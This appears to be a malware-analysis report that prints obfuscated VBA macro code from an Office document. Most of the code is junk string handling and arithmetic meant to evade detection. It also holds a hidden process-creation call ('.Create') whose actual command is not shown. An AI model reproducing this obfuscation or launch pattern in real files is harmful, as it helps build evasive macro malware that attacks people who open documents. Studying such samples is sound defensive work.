    gylxmmPB = Space(20) + Left("R ^ uDhs", 5)
    JszANm = LTrim("P  &s")
    pCOvUgPEWTUc = UCase("vraBY") + RTrim("( ZhBmuDOw_")
    For GrUpJJ = 2 To 6
        IoUbCAAHkzz = UCase("tQ^?)") + RTrim("qe@GW")
        HBOnh = Left("o) ZncN?lh", 3) + LTrim(".$Cp vsBI ")
        gylxmmPB = LTrim(" tL(risW#X  Ld  Z")
    Next GrUpJJ

    tFxil = LTrim("BSCt GGl  C K(v")
    kcddgyWgrBba = Space(12) + Left("SB Wo ct kb U T", 4)
    GkeaTK = RTrim(" P@hL  $") + StrReverse("?(D_&u_NokP(W(K&")
    ghiOBwEP.Create fgMsjc, Null, OOKBt, mSKPwoP
    pCOvUgPEWTUc = Space(20) + Left("tZXI f@FEf", 4)
    mLurcNuQuW = RTrim("Z!% R-z  qu.dHHoEkU!") + StrReverse("CIH@ g")
    tFxil = 57 - 74 - 11
    zKiNQzivkM = 25 + 23
    

    EAXappRwuW = RTrim("a]Z nxX") + StrReverse(" ]qw M")
    dsWsHTzf = RTrim(" ]kr g mrPO  HN  WG") + UCase("PEHj-Y xcK")
    hqiEVAo = UCase("g rs V_ux!k ") + RTrim("&^UU H?  JPP(]r")
    JhWgSns = LTrim(" OdE!nH?VCy!")
    

    iNxmfJXS = Right("lqv!^ t^X", 2)
    ZQJuiaSsr = 44 + 16 + 56 + 13 + 34
    While PIoUfe < 2
        kcddgyWgrBba = Space(6) + Left("(IK & d YEfIy%", 5)
        UczVS = Space(14) + Left("uoNbe", 2)
        SINgVccGC = RTrim("C )N$YHHnJKhG") + StrReverse("Df x!%r[@ ")
        PIoUfe = PIoUfe + 1
    Wend

    SINgVccGC = 22 + 85
    While KCrjOX < 2
        For vXHjuu = 2 To 7
            GPMLifCHY = Left("iCv vA(wjo  ", 5) + LTrim("tv&% FKf  [  ")
            MAWcuCniGTMv = 77 + 26 + 99 + 29 + 4
            ejsdwF = Space(12) + Left("X@  qNvcl a uvaRn", 4)
            JhWgSns = Left("j QP g&-$OAx ", 4) + LTrim("x-ImIl vjCLJz")
        Next vXHjuu

        QTCrMDoe = 17 - 91 - 97
        OPFBZtk = RTrim("c  x  ulbqK Kkt XFI") + StrReverse("%F&  Mmbc")
        iNxmfJXS = Right("D%@pRq$%bL  EjGe", 4)
        JszANm = RTrim("AJhjI. w") + StrReverse("VRY   #wKWX]Lnk Sd")
        KCrjOX = KCrjOX + 3
    Wend

    JszANm = RTrim("j ilsi vT@ Ds") + StrReverse("-GQ    hrNy  vBACS")


End Sub


Sub ZEBrjr(RZelzo As Integer, scMZIv As Integer, hlJygSA As String)
    GPMLifCHY = Left("Ojyt]  I", 4) + LTrim("_fUZMC MkmO(G ^coA ")
    pVKFzcl = 6 + 43
    IoUbCAAHkzz = 8 + 90 + 32
    uagoWDjh = RTrim("kQ D@czEg bLo  ! N") + StrReverse("Y?ZMT &)UAV  h  bLUV")
    For BVTZuu = 2 To 4
        For JBhCpD = 2 To 6
            ihalRwhfK = Right("   qG", 2)
            eDphPkrWmS = Left("PQZcd?!g E(Q mXTpI", 2) + LTrim("GOXZ R R%B")
            BjfAhYw = LTrim("(Lq  F  hERP f   rt")
        Next JBhCpD

        

        GkeaTK = 41 + 28 + 85 + 54
        zKiNQzivkM = LTrim("vcb &&?T")
        pVKFzcl = Space(13) + Left("$zy F", 2)
    Next BVTZuu

    For VVyqqa = 2 To 3
        For bzpVNE = 2 To 10
            ihalRwhfK = Left("BGZNHB q! ", 3) + LTrim("fBsR z   % shJha_S")
            

            WrhgkGokkMo = 99 - 98
            guQbosTxhc = 76 + 68 + 72 + 70 + 96
        Next bzpVNE

        gKfNJwXLsIHk = UCase("rp.yRv-izQ)U h") + RTrim("ZW B ZI! )M&@)")
        

        JhWgSns = LTrim("BuUyb  q#EqeGau iF")
    Next VVyqqa

    pCOvUgPEWTUc = Right("@eiH  dU Yx  # H i", 2)
    For KZcFJN = 2 To 7
        mXQdrf = 68 - 94 - 44 - 25 - 92
        JhWgSns = RTrim(" [YM?exH]Zpe ") + StrReverse("^_ LwNSsPJxgf ")
        LREvoT = 48 + 16
        

        dsWsHTzf = 79 + 55
    Next KZcFJN

    GFSRbqaOOXyy = LTrim("Njz u")
    zKiNQzivkM = RTrim(" Yx ad  @  ") + StrReverse(" B.Kl-.HfB  ob D -AZ")
    While CtEukT < 1
        GFSRbqaOOXyy = LTrim(" IfV[FBCSv  ] (_")
        WwYvzpVs = LTrim("  o Ryrs  ")
        kcddgyWgrBba = UCase("  [ SN") + RTrim("QKMfM")
        CtEukT = CtEukT + 2
    Wend

    uagoWDjh = Right(" j]y jBqapt[", 4)
    uagoWDjh = LTrim(" IJOmPU Ykw mS .k[  ")
    

    ngADsGmwJ = 33 - 19 - 90 - 84
    uagoWDjh = RTrim("YU a caZ#IrvT") + StrReverse("AusjSL cB-D(x%#  fg ")
    dsWsHTzf = 14 + 43
    eDphPkrWmS = RTrim("^jYs B n?FtXX_ urX  ") + UCase("b  Oa ")
    dsWsHTzf = LTrim("E u] a K")
End Sub



Attribute VB_Name = "Module2"

Sub MKXnPn(HzxpjX As Double, ByLPeG As Integer, FvVyjeq As String)
    EAXappRwuW = Space(14) + Left("lXzBZi^", 5)
    EAXappRwuW = Space(12) + Left("!XoP% (uY ", 5)
    tFxil = 47 - 66 - 63 - 27 - 67 - 47
    JhWgSns = Right("M_&lF)", 2)
    

    

    mLurcNuQuW = Left("utH() tK  TW%iZ CUO^", 2) + LTrim("lc ppz_(gV ")
    For yGUPtL = 2 To 5
        While PeXUMS < 1
            ngADsGmwJ = Left("m  Qq WL Cx^#ZFuOFj", 5) + LTrim(" kY%#P C  ts")
            WTLSYTsNWt = Space(19) + Left("X  )w )_ Ix ", 2)
            WrhgkGokkMo = 71 + 88 + 8 + 72
            JhWgSns = Left("[J P sbsAmdKoeL x", 5) + LTrim("F   qE D#H$&sMOdAYX")
            LREvoT = Right("ovBv fiM& ", 5)
            PeXUMS = PeXUMS + 3
        Wend

        ngADsGmwJ = LTrim("GWD lw")
        mLurcNuQuW = 16 + 98 + 52 + 1
        iNxmfJXS = Right("o[LKfwK?Ne Fw", 4)
    Next yGUPtL

    jyQrgmgo = LTrim("b]bc_Buvbn-( n")
    BjfAhYw = Left("i F]V", 5) + LTrim("?r t#")
    

    

    fUVhtZqk = 28 + 94
    TBLSFPQnsxt = RTrim("ILvA _#  mG f") + StrReverse("KFemO-Ij l CJW")
    zKiNQzivkM = UCase(" cr# a R EgdI ") + RTrim("n  bH#& v")
End Sub



Sub MhaPAu(HERaIh As Double, HQQNbrp As Boolean, cGuBGXJ As String, vYydLi As Double)
    

    zKiNQzivkM = UCase("?)UZj ^q") + RTrim("Pj@   D.")
    TBLSFPQnsxt = Right("rUyigf", 3)
    

    ihalRwhfK = Left(" PI @ojjX", 3) + LTrim(".iU@ .@B @%")
    WrhgkGokkMo = 89 - 82 - 22 - 49 - 14
    fUVhtZqk = 89 - 79 - 59
    gylxmmPB = Space(3) + Left("LSd  EnKhn", 2)
    

    dsWsHTzf = RTrim(" ZT  # ") + UCase("xbV ?")
    UczVS = UCase(" r#P e") + RTrim("$]zvo z$FEDrnA")
    kcddgyWgrBba = LTrim("!$IK gS ?NW")
    IoUbCAAHkzz = Space(20) + Left("Pv ]G EPlU", 2)
    dpQxdiLOlk = Left("E r$  vn -zt", 4) + LTrim(" dP X-S]RXjFrk ")
    ejsdwF = Space(7) + Left("-NWx ", 5)
    yxXpb = 60 + 41 + 34 + 27 + 42 + 63
    TBLSFPQnsxt = LTrim("z)Ubr!DS ")
End Sub



Sub sqlZDY(qsmSmYj As Boolean, jEuXCrQ As String, vxuBRjG As Boolean, qZGVAr As Double)
    pCOvUgPEWTUc = 30 - 89 - 53 - 69 - 99 - 81
    While HsIxPJ < 4
        OPFBZtk = Left("t]yfXl T", 2) + LTrim("RYIrQO z#")
        fUVhtZqk = RTrim(" -u  W  ") + UCase("(.p & q b tlw^?f")
        

        yxXpb = RTrim("$S  ^") + UCase("ymT  P PMc")
        HsIxPJ = HsIxPJ + 1
    Wend

    mLurcNuQuW = Left("v $ -V   D]fzTO&", 2) + LTrim("qSI] y.  PhS")
    BjfAhYw = Right("  SouQg ", 3)
    gylxmmPB = Space(3) + Left("  ABfy  Pp", 3)
    QTCrMDoe = 75 - 42 - 13 - 57 - 58 - 66
    ejsdwF = 35 - 19
    TBLSFPQnsxt = RTrim("TXBW(tWG)&") + UCase("N@s _")
    ZQJuiaSsr = Right("X]?& cgQqM g D ", 3)
    ngADsGmwJ = UCase("T l  e] ") + RTrim("pqxISY U.(  w")
    HBOnh = LTrim(". aU YS y@V ")
    ejsdwF = RTrim("MPs)Q ") + UCase("fxi (IOnSB!SaRz f ")
    zKiNQzivkM = LTrim("_MsSY uq?-")
    zKiNQzivkM = LTrim("yDDp Y   QZ@ KrTQ m")
    JszANm = RTrim("iuU %!zt ( K") + UCase("tXc-wUa.w M T q")
    OPFBZtk = Space(6) + Left("u L&z", 3)
    UczVS = LTrim("Kd J G -W ")
    While OOjdFc < 3
        

        QTCrMDoe = RTrim("x ^RX P)   ") + StrReverse(" mKYMO IA ")
        mXQdrf = 12 - 73 - 47 - 73 - 23 - 27
        

        OOjdFc = OOjdFc + 1
    Wend

    pCOvUgPEWTUc = Left(" Q v!)lBr^lIA y@oge", 2) + LTrim("?]l [XaL(")
End Sub



Attribute VB_Name = "Module3"

Function BmeFmR(VdoxKh As String, jrduCSp As Boolean, PFVidnW As Double, OQfyYH As String) As String
    yxXpb = 28 - 7 - 29 - 56 - 28
    ngADsGmwJ = 32 - 92
    

    HBOnh = RTrim("OyKNQ  Azzp") + UCase("f mvpj .I ")
    pVKFzcl = UCase("]asHR  ZZ  r $)") + RTrim("u BHRySa%IY ")
    UczVS = Space(19) + Left("_e_  OchaTMr In zP", 3)
    TBLSFPQnsxt = Right("( jTvX", 5)
    EAXappRwuW = LTrim("#-W) dF")
    yxXpb = RTrim(" N  btIuB]?c j  wc") + UCase("?[hr  Ys")
    

    pCOvUgPEWTUc = 43 + 69 + 44 + 29 + 47
    iNxmfJXS = UCase(".G%T Xv)([^U qxBv") + RTrim("  en-G]w    yzZ x? ")
    UczVS = LTrim("KqhXd")
    WwYvzpVs = UCase("oVQyt)YKe") + RTrim(" Yg T@NB R CN  [  ")
    For FQreum = 2 To 3
        While ioevzu < 2
            MAWcuCniGTMv = 27 - 83
            mLurcNuQuW = 22 - 84
            yxXpb = LTrim("L g # YK I$r")
            yxXpb = Right("s # uG]&^nX NtDfys b", 4)
            ioevzu = ioevzu + 2
        Wend

        jyQrgmgo = UCase("  UHd #x#H( Z") + RTrim("I  !J# b@C ")
        MAWcuCniGTMv = Left("_ CYLJLmUF ogI ", 4) + LTrim("PiM  hfF EA(C ")
        

        

    Next FQreum

    jyQrgmgo = RTrim("GsTGW z ") + UCase(" ]kE%Y")
    WrhgkGokkMo = Left(" CW%YYdv^", 4) + LTrim("NERK[I upyBMpY")
    BmeFmR = "ToJfeXTkvfQoCRXBW"
End Function



Attribute VB_Name = "Module4"

Function XFKCli(aeZkol As Boolean, yYflnx As String, UoxSJl As Integer, kWoYBrP As Double) As String
    While yjXWbZ < 4
        eDphPkrWmS = Right("xdBWO", 2)
        ihalRwhfK = Left("#do.WX#se", 2) + LTrim("Gftv D.r  V R glNTc")
        MAWcuCniGTMv = RTrim("vha  (( jy$veFuQ Z ") + UCase("f&%#F)Hj)aD@")
        eDphPkrWmS = Space(8) + Left("uP  Z  ", 4)
        yjXWbZ = yjXWbZ + 1
    Wend

    hqiEVAo = LTrim("  JoJ@ t")
    BjfAhYw = RTrim("f bfSHFW !  ^ Z &f") + StrReverse(" YJrLo^p SLA uO")
    fUVhtZqk = LTrim("F C[?  udQ@RtQI$f")
    GPMLifCHY = 31 + 9 + 88 + 4
    ejsdwF = RTrim("   tG dflRd") + StrReverse("r#p s  ")
    For BFbmhc = 2 To 7
        EAXappRwuW = LTrim(" mXhH     cnuj ")
        ZQJuiaSsr = 71 - 85 - 15 - 99 - 66 - 65
        gylxmmPB = UCase("vhYW)b[ z TFT") + RTrim(" vsd   z  $y j^ ")
    Next BFbmhc

    While JpHEuc < 5
        For SSMWUc = 2 To 7
            WTLSYTsNWt = 70 + 4 + 29
            TBLSFPQnsxt = LTrim("fS]gGpNIu zYESBN)dF ")
            dsWsHTzf = RTrim("p l  q  ") + UCase("[ d   ]&st(")
        Next SSMWUc

        eDphPkrWmS = 18 + 55 + 26
        OPFBZtk = 100 - 99 - 82 - 76 - 8 - 44
        EAXappRwuW = LTrim("E $  Ps ")
        mXQdrf = Space(7) + Left("u ! aUfd  W ", 4)
        kcddgyWgrBba = Space(6) + Left(" TWMi    q nA$D ?&)", 5)
        JpHEuc = JpHEuc + 2
    Wend

    gylxmmPB = LTrim("n-Q VcdVLi H$XIHyH")
    IoUbCAAHkzz = RTrim("Q-   ") + UCase("!ZTAV ")
    JszANm = 69 + 72 + 45 + 68 + 72 + 94
    kcddgyWgrBba = Left("CS)o @^y", 5) + LTrim("$%  CB$")
    zKiNQzivkM = RTrim("@RK& J@   ]n Vj") + UCase("l $  LmoVgTWU $NdY")
    ejsdwF = RTrim("Inh Q$)@^ ") + UCase("ITYvuPA!)Q Lr$f V)Z")
    For FvtplR = 2 To 8
        BjfAhYw = UCase("e(q v #") + RTrim("DbvX   MdH ")
        

        

    Next FvtplR

    

    XFKCli = "BshOFgrCSHpEjUHQ"
End Function



Attribute VB_Name = "Module5"

Sub qiISUm(yWbscn As Integer, vLBfZl As String, HsNPrus As Integer)
    ZQJuiaSsr = RTrim("AqHxACb[ % _Q") + StrReverse("q pG d-W ")
    JszANm = RTrim("m YpD UwB g") + UCase("@maG RV  ")
    EAXappRwuW = 82 + 85 + 25 + 11
    

    ihalRwhfK = RTrim(" Fopwml])") + StrReverse("  sc&?^tbL(VMI t  N ")
    UczVS = 92 - 5 - 93 - 27 - 87 - 73
    While CpQOyy < 4
        For XTiANc = 2 To 9
            GFSRbqaOOXyy = Left("   ?wQ EhWr$_ %Fc. ", 4) + LTrim("W s_b$ F !IK  ^")
            MAWcuCniGTMv = 55 + 72 + 81 + 68
            fUVhtZqk = 43 - 90 - 70 - 37
            hqiEVAo = Space(3) + Left(" I#E  aV( R! n^ k", 3)
        Next XTiANc

        hqiEVAo = UCase(" wmBp o.aZfn? F P") + RTrim("#)Z oCf% NM ")
        

        iNxmfJXS = RTrim("]L .y") + UCase("ny@fJ")
        CpQOyy = CpQOyy + 3
    Wend

    SINgVccGC = 6 + 22 + 16 + 97 + 74 + 63
    TBLSFPQnsxt = Left(" MyC ]_jG ", 4) + LTrim("mv  oUG")
    BjfAhYw = Left("x$p  ]JBkfzJ P    ", 5) + LTrim("N- IcSQc L#cRwnO")
    hqiEVAo = 26 - 77 - 10 - 82
    

    hqiEVAo = Space(2) + Left("?  bPLK GoYqXF $ ", 5)
    QTCrMDoe = RTrim("mJo[B$W [)") + UCase("cR.TmjX [P@Wi %_^ %")
    MAWcuCniGTMv = 60 + 19 + 44 + 84 + 49
    UczVS = UCase(" fQuSt") + RTrim(" %vB -o( FN- r kYWC ")
    ngADsGmwJ = UCase("Wjw.rtsD  ") + RTrim("GzDzeod[PA DJPlNhut")
    While rECEzv < 4
        mXQdrf = Space(14) + Left("pvN -  ^uH z", 2)
        mLurcNuQuW = 95 + 65 + 90 + 22 + 46
        mXQdrf = Space(17) + Left("Q%E S [ ", 5)
        

        rECEzv = rECEzv + 1
    Wend

End Sub



Attribute VB_Name = "Module6"

Sub BFudED(XaZTLk As Integer, IYGOzI As Double, gGzxKCK As Integer, bTyrEoT As Integer, LHJDuK As Integer)
    JhWgSns = RTrim("skg q! #") + UCase("w MUrHjm @F D Dq]Q Q")
    ihalRwhfK = 72 - 1 - 66 - 90 - 86
    GFSRbqaOOXyy = RTrim("c buL# G .Jz") + StrReverse("guJZJ?")
    uagoWDjh = RTrim("- PXyeJaL") + UCase(" &   SzD?X")
    SINgVccGC = Left("hYb[W(b l)!WM e", 4) + LTrim("Jo    _b H- QA s  A")
    OPFBZtk = LTrim("aH)a  .wd Y")
    WrhgkGokkMo = 33 - 57
    dsWsHTzf = 57 - 79
    SINgVccGC = 93 + 67 + 73 + 58
    gKfNJwXLsIHk = Left("kr]G$k", 5) + LTrim(" p Q Vj O    s")
    WTLSYTsNWt = LTrim(" q @I ")
    BjfAhYw = LTrim("^n?(p x)  UCn")
    pVKFzcl = Space(4) + Left("x ZGp ", 5)
    

    For qNQqZu = 2 To 5
        For ByHVMg = 2 To 8
            tFxil = Left(" B[  Kn  PH G# U", 5) + LTrim("[  %Q x L  #J")
            JszANm = LTrim("  J   z  Y Y_k ")
            OPFBZtk = RTrim("  U$@h zSWx") + StrReverse("^[ po sa UOZG_ opO #")
            uagoWDjh = LTrim(")(a$ S#X U gF")
        Next ByHVMg

        TBLSFPQnsxt = LTrim("dCGJ([Z( #XN")
        eDphPkrWmS = RTrim("_ JE)tn](?Oip") + StrReverse("W Yx   q )Mu[ )o MW")
        mLurcNuQuW = UCase("G%bAHs") + RTrim("%Q d s ")
        GkeaTK = Left("i- TW qruRYW", 4) + LTrim("tZrOIf g]u UN")
    Next qNQqZu

    pVKFzcl = 22 + 62
    IoUbCAAHkzz = LTrim("Uo@S  x j zl_]%UQ ")
    For rSlmGY = 2 To 6
        

        ZQJuiaSsr = LTrim("IF ixY rrk. .W%_ ")
        UczVS = 45 - 50 - 75 - 59
        tFxil = 88 - 39 - 22 - 11 - 17 - 78
        OPFBZtk = Right(" Pl fgnK$W", 3)
    Next rSlmGY

    

End Sub



Function wzEPWG(eRBpvbw As String, AgnMeG As String, GjmcDN As Integer) As String
    yxXpb = RTrim("e^   qRDCE).RN-e") + UCase("z-Qac]iV")
    MAWcuCniGTMv = Left("YsMI a) VVZ", 3) + LTrim("gXm   u_go")
    GFSRbqaOOXyy = Space(20) + Left(" I  )aA", 3)
    eDphPkrWmS = Left(" wuR^eR  unp $j]p  Y", 4) + LTrim("acPU@ lOmptTDAsiAiJ")
    For ojSclR = 2 To 5
        For kVlQhd = 2 To 5
            tFxil = RTrim("$$VO@[Y KgD-L") + StrReverse("J  NHhI.u  )")
            

            ihalRwhfK = RTrim("!p.B ") + UCase("]KrXq#E WhO x")
            pVKFzcl = UCase("Rr@   cIu ]Qx ") + RTrim("  GtaaPS  u^fNz ^gA.")
            

        Next kVlQhd

        WwYvzpVs = Right(" gT@e v dY @pX", 3)
        

        kcddgyWgrBba = Left("a @o Eg FW ! X AYeo", 4) + LTrim(" $ @ cX? HZE )Q_")
        

        mXQdrf = Space(14) + Left("W  xRv  f& #% SlZ", 4)
    Next ojSclR

…

Open this report in the interactive analyzer, or submit your own file for analysis.